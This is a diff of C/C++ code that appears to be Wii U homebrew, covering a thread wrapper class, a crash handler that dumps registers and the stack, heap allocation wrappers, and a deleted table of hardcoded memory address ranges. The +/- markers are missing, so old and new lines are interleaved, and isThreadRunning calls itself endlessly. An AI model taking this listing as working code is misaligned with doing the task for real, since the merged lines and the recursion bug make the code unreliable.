if(pCallback)
|
||||
pCallback(this, pCallbackArg);
|
||||
}
|
||||
//! Suspend thread
|
||||
virtual void suspendThread(void) { if(isThreadSuspended()) return; if(pThread) OSSuspendThread(pThread); }
|
||||
//! Resume thread
|
||||
virtual void resumeThread(void) { if(!isThreadSuspended()) return; if(pThread) OSResumeThread(pThread); }
|
||||
//! Set thread priority
|
||||
virtual void setThreadPriority(int prio) { if(pThread) OSSetThreadPriority(pThread, prio); }
|
||||
//! Check if thread is suspended
|
||||
virtual bool isThreadSuspended(void) const { if(pThread) return OSIsThreadSuspended(pThread); return false; }
|
||||
//! Check if thread is terminated
|
||||
virtual bool isThreadTerminated(void) const { if(pThread) return OSIsThreadTerminated(pThread); return false; }
|
||||
//! Check if thread is running
|
||||
virtual bool isThreadRunning(void) const { return !isThreadSuspended() && !isThreadRunning(); }
|
||||
//! Shutdown thread
|
||||
virtual void shutdownThread(void)
|
||||
{
|
||||
//! wait for thread to finish
|
||||
if(pThread && !(iAttributes & eAttributeDetach))
|
||||
{
|
||||
if(isThreadSuspended())
|
||||
}
|
||||
//! Suspend thread
|
||||
virtual void suspendThread(void) {
|
||||
if(isThreadSuspended())
|
||||
return;
|
||||
if(pThread)
|
||||
OSSuspendThread(pThread);
|
||||
}
|
||||
//! Resume thread
|
||||
virtual void resumeThread(void) {
|
||||
if(!isThreadSuspended())
|
||||
return;
|
||||
if(pThread)
|
||||
OSResumeThread(pThread);
|
||||
}
|
||||
//! Set thread priority
|
||||
virtual void setThreadPriority(int prio) {
|
||||
if(pThread)
|
||||
OSSetThreadPriority(pThread, prio);
|
||||
}
|
||||
//! Check if thread is suspended
|
||||
virtual bool isThreadSuspended(void) const {
|
||||
if(pThread)
|
||||
return OSIsThreadSuspended(pThread);
|
||||
return false;
|
||||
}
|
||||
//! Check if thread is terminated
|
||||
virtual bool isThreadTerminated(void) const {
|
||||
if(pThread)
|
||||
return OSIsThreadTerminated(pThread);
|
||||
return false;
|
||||
}
|
||||
//! Check if thread is running
|
||||
virtual bool isThreadRunning(void) const {
|
||||
return !isThreadSuspended() && !isThreadRunning();
|
||||
}
|
||||
//! Shutdown thread
|
||||
virtual void shutdownThread(void) {
|
||||
//! wait for thread to finish
|
||||
if(pThread && !(iAttributes & eAttributeDetach)) {
|
||||
if(isThreadSuspended())
|
||||
resumeThread();
|
||||
|
||||
OSJoinThread(pThread, NULL);
|
||||
}
|
||||
//! free the thread stack buffer
|
||||
if(pThreadStack)
|
||||
free(pThreadStack);
|
||||
if(pThread)
|
||||
free(pThread);
|
||||
OSJoinThread(pThread, NULL);
|
||||
}
|
||||
//! free the thread stack buffer
|
||||
if(pThreadStack)
|
||||
free(pThreadStack);
|
||||
if(pThread)
|
||||
free(pThread);
|
||||
|
||||
pThread = NULL;
|
||||
pThreadStack = NULL;
|
||||
}
|
||||
pThread = NULL;
|
||||
pThreadStack = NULL;
|
||||
}
|
||||
//! Thread attributes
|
||||
enum eCThreadAttributes
|
||||
{
|
||||
eAttributeNone = 0x07,
|
||||
eAttributeAffCore0 = 0x01,
|
||||
eAttributeAffCore1 = 0x02,
|
||||
eAttributeAffCore2 = 0x04,
|
||||
eAttributeDetach = 0x08,
|
||||
eAttributePinnedAff = 0x10
|
||||
};
|
||||
enum eCThreadAttributes {
|
||||
eAttributeNone = 0x07,
|
||||
eAttributeAffCore0 = 0x01,
|
||||
eAttributeAffCore1 = 0x02,
|
||||
eAttributeAffCore2 = 0x04,
|
||||
eAttributeDetach = 0x08,
|
||||
eAttributePinnedAff = 0x10
|
||||
};
|
||||
private:
|
||||
static int threadCallback(int argc, const char **argv)
|
||||
{
|
||||
//! After call to start() continue with the internal function
|
||||
((CThread *) argv)->executeThread();
|
||||
return 0;
|
||||
}
|
||||
static int threadCallback(int argc, const char **argv) {
|
||||
//! After call to start() continue with the internal function
|
||||
((CThread *) argv)->executeThread();
|
||||
return 0;
|
||||
}
|
||||
int iAttributes;
|
||||
OSThread *pThread;
|
||||
u8 *pThreadStack;
|
||||
Callback pCallback;
|
||||
void *pCallbackArg;
|
||||
OSThread *pThread;
|
||||
uint8_t *pThreadStack;
|
||||
Callback pCallback;
|
||||
void *pCallbackArg;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
@ -1,40 +1,7 @@
|
||||
#include <stdio.h>
|
||||
#include "common/types.h"
|
||||
#include <stdint.h>
|
||||
#include "exception_handler.h"
|
||||
|
||||
#define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4
|
||||
|
||||
#define OS_EXCEPTION_DSI 2
|
||||
#define OS_EXCEPTION_ISI 3
|
||||
#define OS_EXCEPTION_PROGRAM 6
|
||||
|
||||
/* Exceptions */
|
||||
typedef struct OSContext
|
||||
{
|
||||
/* OSContext identifier */
|
||||
uint32_t tag1;
|
||||
uint32_t tag2;
|
||||
|
||||
/* GPRs */
|
||||
uint32_t gpr[32];
|
||||
|
||||
/* Special registers */
|
||||
uint32_t cr;
|
||||
uint32_t lr;
|
||||
uint32_t ctr;
|
||||
uint32_t xer;
|
||||
|
||||
/* Initial PC and MSR */
|
||||
uint32_t srr0;
|
||||
uint32_t srr1;
|
||||
|
||||
/* Only valid during DSI exception */
|
||||
uint32_t exception_specific0;
|
||||
uint32_t exception_specific1;
|
||||
|
||||
/* There is actually a lot more here but we don't need the rest*/
|
||||
} OSContext;
|
||||
|
||||
#include <coreinit/exception.h>
|
||||
#include <coreinit/debug.h>
|
||||
|
||||
@ -49,8 +16,8 @@ typedef struct OSContext
|
||||
})
|
||||
|
||||
typedef struct _framerec {
|
||||
struct _framerec *up;
|
||||
void *lr;
|
||||
struct _framerec *up;
|
||||
void *lr;
|
||||
} frame_rec, *frame_rec_t;
|
||||
|
||||
static const char *exception_names[] = {
|
||||
@ -60,24 +27,24 @@ static const char *exception_names[] = {
|
||||
};
|
||||
|
||||
static const char exception_print_formats[18][45] = {
|
||||
"Exception type %s occurred!\n", // 0
|
||||
"GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1
|
||||
"GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2
|
||||
"GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3
|
||||
"GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4
|
||||
"GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5
|
||||
"GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6
|
||||
"GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7
|
||||
"GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8
|
||||
"LR %08X SRR0 %08x SRR1 %08x\n", // 9
|
||||
"DAR %08X DSISR %08X\n", // 10
|
||||
"\nSTACK DUMP:", // 11
|
||||
" --> ", // 12
|
||||
" -->\n", // 13
|
||||
"\n", // 14
|
||||
"%p", // 15
|
||||
"\nCODE DUMP:\n", // 16
|
||||
"%p: %08X %08X %08X %08X\n", // 17
|
||||
"Exception type %s occurred!\n", // 0
|
||||
"GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1
|
||||
"GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2
|
||||
"GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3
|
||||
"GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4
|
||||
"GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5
|
||||
"GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6
|
||||
"GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7
|
||||
"GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8
|
||||
"LR %08X SRR0 %08x SRR1 %08x\n", // 9
|
||||
"DAR %08X DSISR %08X\n", // 10
|
||||
"\nSTACK DUMP:", // 11
|
||||
" --> ", // 12
|
||||
" -->\n", // 13
|
||||
"\n", // 14
|
||||
"%p", // 15
|
||||
"\nCODE DUMP:\n", // 16
|
||||
"%p: %08X %08X %08X %08X\n", // 17
|
||||
};
|
||||
|
||||
static unsigned char exception_cb(OSContext * context, unsigned char exception_type) {
|
||||
@ -86,67 +53,67 @@ static unsigned char exception_cb(OSContext * context, unsigned char exception_t
|
||||
/*
|
||||
* This part is mostly from libogc. Thanks to the devs over there.
|
||||
*/
|
||||
pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1);
|
||||
pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1);
|
||||
|
||||
//if(exception_type == OS_EXCEPTION_DSI) {
|
||||
pos += sprintf(buf + pos, exception_print_formats[10], context->exception_specific1, context->exception_specific0); // this freezes
|
||||
//}
|
||||
//if(exception_type == OS_EXCEPTION_DSI) {
|
||||
pos += sprintf(buf + pos, exception_print_formats[10], context->dar, context->dsisr); // this freezes
|
||||
//}
|
||||
|
||||
void *pc = (void*)context->srr0;
|
||||
void *lr = (void*)context->lr;
|
||||
void *r1 = (void*)context->gpr[1];
|
||||
register uint32_t i = 0;
|
||||
register frame_rec_t l,p = (frame_rec_t)lr;
|
||||
register uint32_t i = 0;
|
||||
register frame_rec_t l,p = (frame_rec_t)lr;
|
||||
|
||||
l = p;
|
||||
p = r1;
|
||||
if(!p)
|
||||
l = p;
|
||||
p = r1;
|
||||
if(!p)
|
||||
asm volatile("mr %0,%%r1" : "=r"(p));
|
||||
|
||||
pos += sprintf(buf + pos, exception_print_formats[11]);
|
||||
pos += sprintf(buf + pos, exception_print_formats[11]);
|
||||
|
||||
for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) {
|
||||
if(i % 4)
|
||||
for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) {
|
||||
if(i % 4)
|
||||
pos += sprintf(buf + pos, exception_print_formats[12]);
|
||||
else {
|
||||
if(i > 0)
|
||||
else {
|
||||
if(i > 0)
|
||||
pos += sprintf(buf + pos, exception_print_formats[13]);
|
||||
else
|
||||
else
|
||||
pos += sprintf(buf + pos, exception_print_formats[14]);
|
||||
}
|
||||
}
|
||||
|
||||
switch(i) {
|
||||
case 0:
|
||||
if(pc)
|
||||
pos += sprintf(buf + pos, exception_print_formats[15],pc);
|
||||
break;
|
||||
case 1:
|
||||
if(!l)
|
||||
l = (frame_rec_t)mfspr(8);
|
||||
pos += sprintf(buf + pos, exception_print_formats[15],(void*)l);
|
||||
break;
|
||||
default:
|
||||
pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr));
|
||||
break;
|
||||
}
|
||||
}
|
||||
switch(i) {
|
||||
case 0:
|
||||
if(pc)
|
||||
pos += sprintf(buf + pos, exception_print_formats[15],pc);
|
||||
break;
|
||||
case 1:
|
||||
if(!l)
|
||||
l = (frame_rec_t)mfspr(8);
|
||||
pos += sprintf(buf + pos, exception_print_formats[15],(void*)l);
|
||||
break;
|
||||
default:
|
||||
pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//if(exception_type == OS_EXCEPTION_DSI) {
|
||||
uint32_t *pAdd = (uint32_t*)context->srr0;
|
||||
pos += sprintf(buf + pos, exception_print_formats[16]);
|
||||
// TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen
|
||||
for (i = 0; i < 8; i += 4)
|
||||
pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]);
|
||||
//}
|
||||
//if(exception_type == OS_EXCEPTION_DSI) {
|
||||
uint32_t *pAdd = (uint32_t*)context->srr0;
|
||||
pos += sprintf(buf + pos, exception_print_formats[16]);
|
||||
// TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen
|
||||
for (i = 0; i < 8; i += 4)
|
||||
pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]);
|
||||
//}
|
||||
|
||||
OSFatal(buf);
|
||||
return 1;
|
||||
@ -163,7 +130,7 @@ static unsigned char program_exception_cb(void * context) {
|
||||
}
|
||||
|
||||
void setup_os_exceptions(void) {
|
||||
OSSetExceptionCallback(OS_EXCEPTION_DSI, (OSExceptionCallbackFn)dsi_exception_cb);
|
||||
OSSetExceptionCallback(OS_EXCEPTION_ISI, (OSExceptionCallbackFn)isi_exception_cb);
|
||||
OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, (OSExceptionCallbackFn)program_exception_cb);
|
||||
OSSetExceptionCallback(OS_EXCEPTION_TYPE_DSI, (OSExceptionCallbackFn)dsi_exception_cb);
|
||||
OSSetExceptionCallback(OS_EXCEPTION_TYPE_ISI, (OSExceptionCallbackFn)isi_exception_cb);
|
||||
OSSetExceptionCallback(OS_EXCEPTION_TYPE_PROGRAM, (OSExceptionCallbackFn)program_exception_cb);
|
||||
}
|
||||
|
@ -17,9 +17,8 @@
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include <coreinit/memheap.h>
|
||||
#include <coreinit/baseheap.h>
|
||||
#include <coreinit/expandedheap.h>
|
||||
#include <coreinit/frameheap.h>
|
||||
#include <coreinit/memfrmheap.h>
|
||||
#include <coreinit/memexpheap.h>
|
||||
#include "common/common.h"
|
||||
#include "memory.h"
|
||||
|
||||
@ -37,23 +36,20 @@
|
||||
//! Memory functions
|
||||
//! This is the only place where those are needed so lets keep them more or less private
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
static MEMExpandedHeap * mem1_heap = NULL;
|
||||
static MEMExpandedHeap * bucket_heap = NULL;
|
||||
static MEMHeapHandle mem1_heap = NULL;
|
||||
static MEMHeapHandle bucket_heap = NULL;
|
||||
|
||||
void memoryInitialize(void)
|
||||
{
|
||||
if(!mem1_heap)
|
||||
{
|
||||
MEMFrameHeap * mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1);
|
||||
void memoryInitialize(void) {
|
||||
if(!mem1_heap) {
|
||||
MEMHeapHandle mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1);
|
||||
unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4);
|
||||
void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4);
|
||||
if(mem1_memory)
|
||||
mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0);
|
||||
}
|
||||
|
||||
if(!bucket_heap)
|
||||
{
|
||||
MEMFrameHeap * bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET);
|
||||
if(!bucket_heap) {
|
||||
MEMHeapHandle bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET);
|
||||
unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4);
|
||||
void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4);
|
||||
if(bucket_memory)
|
||||
@ -61,16 +57,13 @@ void memoryInitialize(void)
|
||||
}
|
||||
}
|
||||
|
||||
void memoryRelease(void)
|
||||
{
|
||||
if(mem1_heap)
|
||||
{
|
||||
void memoryRelease(void) {
|
||||
if(mem1_heap) {
|
||||
MEMDestroyExpHeap(mem1_heap);
|
||||
MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3);
|
||||
mem1_heap = NULL;
|
||||
}
|
||||
if(bucket_heap)
|
||||
{
|
||||
if(bucket_heap) {
|
||||
MEMDestroyExpHeap(bucket_heap);
|
||||
MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3);
|
||||
bucket_heap = NULL;
|
||||
@ -164,36 +157,30 @@ void *__wrap__realloc_r(struct _reent *r, void *p, size_t size)
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
//! some wrappers
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
void * MEM2_alloc(unsigned int size, unsigned int align)
|
||||
{
|
||||
void * MEM2_alloc(unsigned int size, unsigned int align) {
|
||||
return memalign(align, size);
|
||||
}
|
||||
|
||||
void MEM2_free(void *ptr)
|
||||
{
|
||||
void MEM2_free(void *ptr) {
|
||||
free(ptr);
|
||||
}
|
||||
|
||||
void * MEM1_alloc(unsigned int size, unsigned int align)
|
||||
{
|
||||
void * MEM1_alloc(unsigned int size, unsigned int align) {
|
||||
if (align < 4)
|
||||
align = 4;
|
||||
return MEMAllocFromExpHeapEx(mem1_heap, size, align);
|
||||
}
|
||||
|
||||
void MEM1_free(void *ptr)
|
||||
{
|
||||
void MEM1_free(void *ptr) {
|
||||
MEMFreeToExpHeap(mem1_heap, ptr);
|
||||
}
|
||||
|
||||
void * MEMBucket_alloc(unsigned int size, unsigned int align)
|
||||
{
|
||||
void * MEMBucket_alloc(unsigned int size, unsigned int align) {
|
||||
if (align < 4)
|
||||
align = 4;
|
||||
return MEMAllocFromExpHeapEx(bucket_heap, size, align);
|
||||
}
|
||||
|
||||
void MEMBucket_free(void *ptr)
|
||||
{
|
||||
void MEMBucket_free(void *ptr) {
|
||||
MEMFreeToExpHeap(bucket_heap, ptr);
|
||||
}
|
||||
|
@ -1,397 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include "common/common.h"
|
||||
#include "utils/utils.h"
|
||||
#include "memory_area_table.h"
|
||||
|
||||
typedef struct _memory_values_t
|
||||
{
|
||||
unsigned int start_address;
|
||||
unsigned int end_address;
|
||||
} memory_values_t;
|
||||
|
||||
static const memory_values_t mem_vals_400[] =
|
||||
{
|
||||
{ 0x2E573BFC, 0x2FF8F83C }, // 26735 kB
|
||||
{ 0x2D86D318, 0x2DFFFFFC }, // 7755 kB
|
||||
{ 0x2CE59830, 0x2D3794D8 }, // 5247 kB
|
||||
{ 0x2D3795AC, 0x2D854300 }, // 4971 kB
|
||||
{ 0x28FEC800, 0x293B29D0 }, // 3864 kB
|
||||
{ 0x29BC200C, 0x29D79B94 }, // 1758 kB
|
||||
{ 0x2A517A68, 0x2A6794B8 }, // 1414 kB
|
||||
{ 0x288C1D80, 0x28A69FA0 }, // 1696 kB
|
||||
|
||||
{ 0, 0 }
|
||||
};
|
||||
|
||||
static const memory_values_t mem_vals_410[] =
|
||||
{
|
||||
// { 0x28041760, 0x28049D0C } // 33 kB
|
||||
// { 0x280608F4, 0x2806C97C } // 48 kB
|
||||
// { 0x280953C8, 0x280A1324 } // 47 kB
|
||||
// { 0x280A1358, 0x280AD388 } // 48 kB
|
||||
// { 0x280C9040, 0x280D0ABC } // 30 kB
|
||||
// { 0x280D0AD8, 0x28113FBC } // 269 kB
|
||||
// { 0x2812575C, 0x2817A53C } // 339 kB
|
||||
// { 0x2817A6A0, 0x281BA53C } // 255 kB
|
||||
// { 0x281D571C, 0x2820253C } // 179 kB
|
||||
// { 0x28234D00, 0x2824B33C } // 89 kB
|
||||
// { 0x2824E300, 0x2828D7BC } // 253 kB
|
||||
// { 0x282A8DF0, 0x282B63FC } // 53 kB
|
||||
// { 0x282BC524, 0x282C62FC } // 39 kB
|
||||
// { 0x2835A988, 0x28366804 } // 47 kB
|
||||
// { 0x2836E05C, 0x28378DBC } // 43 kB
|
||||
// { 0x283A735C, 0x284D2A64 } // 1197 kB (1 MB)
|
||||
// { 0x284D76B0, 0x285021FC } // 170 kB
|
||||
// { 0x285766A4, 0x28583E4C } // 53 kB
|
||||
// { 0x28590E5C, 0x2859B248 } // 40 kB
|
||||
// { 0x2859B288, 0x285AE06C } // 75 kB
|
||||
// { 0x285B7108, 0x285C0A7C } // 38 kB
|
||||
// { 0x285C38A0, 0x285D089C } // 52 kB
|
||||
// { 0x285D0A84, 0x285DC63C } // 46 kB
|
||||
// { 0x285E0A84, 0x285F089C } // 63 kB
|
||||
// { 0x285F7FD0, 0x286037D8 } // 46 kB
|
||||
// { 0x2860E3E4, 0x28621B00 } // 77 kB
|
||||
// { 0x286287B0, 0x28638BC0 } // 65 kB
|
||||
// { 0x2863F4A0, 0x2864DE00 } // 58 kB
|
||||
// { 0x2864F1FC, 0x28656EE0 } // 31 kB
|
||||
// { 0x2865AF44, 0x286635A0 } // 33 kB
|
||||
// { 0x2866F774, 0x2867C680 } // 51 kB
|
||||
// { 0x2867FAC0, 0x286A2CA0 } // 140 kB
|
||||
// { 0x286B3540, 0x286C1900 } // 56 kB
|
||||
// { 0x286C64A4, 0x286DDB80 } // 93 kB
|
||||
// { 0x286E640C, 0x286F1DC0 } // 46 kB
|
||||
// { 0x286F3884, 0x2870D3C0 } // 102 kB
|
||||
// { 0x28710824, 0x28719D80 } // 37 kB
|
||||
// { 0x2872A674, 0x2873B180 } // 66 kB
|
||||
// { 0x287402F0, 0x28758780 } // 97 kB
|
||||
// { 0x287652F0, 0x28771C00 } // 50 kB
|
||||
// { 0x287F878C, 0x2880A680 } // 71 kB
|
||||
// { 0x2880F4AC, 0x2881E6E0 } // 60 kB
|
||||
// { 0x28821488, 0x28829A40 } // 33 kB
|
||||
// { 0x2882A5D0, 0x288385BC } // 55 kB
|
||||
// { 0x288385D8, 0x28854780 } // 112 kB
|
||||
// { 0x28857984, 0x28864F80 } // 53 kB
|
||||
// { 0x28870AC0, 0x2887CAC0 } // 48 kB
|
||||
// { 0x2887CAC8, 0x28888CC8 } // 48 kB
|
||||
// { 0x28888CD0, 0x28894ED0 } // 48 kB
|
||||
// { 0x28894ED8, 0x288BE0DC } // 164 kB
|
||||
// { 0x288C1C70, 0x28AD9ED4 } // 2144 kB (2 MB)
|
||||
// { 0x28AD9F04, 0x28B66100 } // 560 kB
|
||||
// { 0x28B748A8, 0x28B952E0 } // 130 kB
|
||||
// { 0x28B9AB58, 0x28BA2480 } // 30 kB
|
||||
// { 0x28BA3D00, 0x28BC21C0 } // 121 kB
|
||||
// { 0x28BC2F08, 0x28BD9860 } // 90 kB
|
||||
// { 0x28BED09C, 0x28BFDD00 } // 67 kB
|
||||
// { 0x28C068F0, 0x28C2E220 } // 158 kB
|
||||
// { 0x28CC4C6C, 0x28CF6834 } // 198 kB
|
||||
// { 0x28D3DD64, 0x28D4BF8C } // 56 kB
|
||||
// { 0x28D83C4C, 0x28DD0284 } // 305 kB
|
||||
// { 0x28DDDED4, 0x28E84294 } // 664 kB
|
||||
// { 0x28E99C7C, 0x28F382A4 } // 633 kB
|
||||
// { 0x28F45EF4, 0x28FEC2B4 } // 664 kB
|
||||
// { 0x28FEC800, 0x293B2A18 } // 3864 kB (3 MB)
|
||||
// { 0x293E187C, 0x293EC7FC } // 43 kB
|
||||
// { 0x295C7240, 0x295D523C } // 56 kB
|
||||
// { 0x295DA8DC, 0x295E323C } // 34 kB
|
||||
// { 0x295ED6C0, 0x295F6FDC } // 38 kB
|
||||
// { 0x29606340, 0x2960FC5C } // 38 kB
|
||||
// { 0x2964F040, 0x29657C3C } // 35 kB
|
||||
// { 0x296E0EBC, 0x296EBDBC } // 43 kB
|
||||
// { 0x2998DFB4, 0x2999DEE4 } // 63 kB
|
||||
// { 0x2999E6A8, 0x299BE9C4 } // 128 kB
|
||||
// { 0x29B8DF40, 0x29BA09DC } // 74 kB
|
||||
// { 0x29BC200C, 0x29D79B94 } // 1758 kB (1 MB)
|
||||
// { 0x29DA9694, 0x29DB1694 } // 32 kB
|
||||
// { 0x2A3D7558, 0x2A427558 } // 320 kB
|
||||
// { 0x2A42769C, 0x2A47769C } // 320 kB
|
||||
// { 0x2A4777E0, 0x2A4C77E0 } // 320 kB
|
||||
// { 0x2A4C7924, 0x2A517924 } // 320 kB
|
||||
// { 0x2A517A68, 0x2A6794B8 } // 1414 kB (1 MB)
|
||||
// { 0x2AD17528, 0x2AD4EA24 } // 221 kB
|
||||
// { 0x2B038C4C, 0x2B1794C8 } // 1282 kB (1 MB)
|
||||
// { 0x2BBA990C, 0x2BBB983C } // 63 kB
|
||||
// { 0x2BBBA160, 0x2BC82164 } // 800 kB
|
||||
// { 0x2BD0000C, 0x2BD71638 } // 453 kB
|
||||
// { 0x2BD7170C, 0x2BD83B0C } // 73 kB
|
||||
// { 0x2BDBA000, 0x2BDCA028 } // 64 kB
|
||||
// { 0x2BDCE000, 0x2BDDE028 } // 64 kB
|
||||
// { 0x2BDE2E34, 0x2BDF2D64 } // 63 kB
|
||||
// { 0x2BDF35E8, 0x2BE031BC } // 62 kB
|
||||
// { 0x2BE052A4, 0x2BE151D4 } // 63 kB
|
||||
// { 0x2BE174AC, 0x2BE27244 } // 63 kB
|
||||
// { 0x2BE3AC80, 0x2BE48C80 } // 56 kB
|
||||
// { 0x2BE49EDC, 0x2BE56C7C } // 51 kB
|
||||
// { 0x2BE82F70, 0x2BE92E9C } // 63 kB
|
||||
// { 0x2BE9ADBC, 0x2BEA8DBC } // 56 kB
|
||||
// { 0x2BEAAB7C, 0x2BEB6DBC } // 48 kB
|
||||
// { 0x2BEC0F3C, 0x2BECEF3C } // 56 kB
|
||||
// { 0x2BED45DC, 0x2BEDCF3C } // 34 kB
|
||||
// { 0x2BEE73C0, 0x2BEF0CDC } // 38 kB
|
||||
// { 0x2BF00040, 0x2BF0995C } // 38 kB
|
||||
// { 0x2BF48D40, 0x2BF5193C } // 35 kB
|
||||
// { 0x2BFDABBC, 0x2BFE5ABC } // 43 kB
|
||||
// { 0x2C03DA40, 0x2C045D7C } // 32 kB
|
||||
// { 0x2C179450, 0x2C18937C } // 63 kB
|
||||
// { 0x2C1DC940, 0x2C1EA93C } // 56 kB
|
||||
// { 0x2C1EABDC, 0x2C1F893C } // 55 kB
|
||||
// { 0x2C239A80, 0x2C243D3C } // 40 kB
|
||||
// { 0x2CE10224, 0x2CE3683C } // 153 kB
|
||||
// { 0x2CE374F4, 0x2CE473A4 } // 63 kB
|
||||
// { 0x2CE49830, 0x2D3794D8 } // 5311 kB (5 MB)
|
||||
// { 0x2D3795AC, 0x2D854300 } // 4971 kB (4 MB)
|
||||
// { 0x2D8546B0, 0x2D8602C4 } // 47 kB
|
||||
// { 0x2D86D318, 0x2DFFFFFC } // 7755 kB (7 MB)
|
||||
// { 0x2E2DCD60, 0x2E2E4D7C } // 32 kB
|
||||
// { 0x2E33F160, 0x2E365AFC } // 154 kB
|
||||
// { 0x2E37AC40, 0x2E39BB3C } // 131 kB
|
||||
// { 0x2E3A6EF0, 0x2E3CA2FC } // 141 kB
|
||||
// { 0x2E3D9EE0, 0x2E400B3C } // 155 kB
|
||||
// { 0x2E43A8F0, 0x2E442BBC } // 32 kB
|
||||
// { 0x2E46EC90, 0x2E48E27C } // 125 kB
|
||||
// { 0x2E497F90, 0x2E4A147C } // 37 kB
|
||||
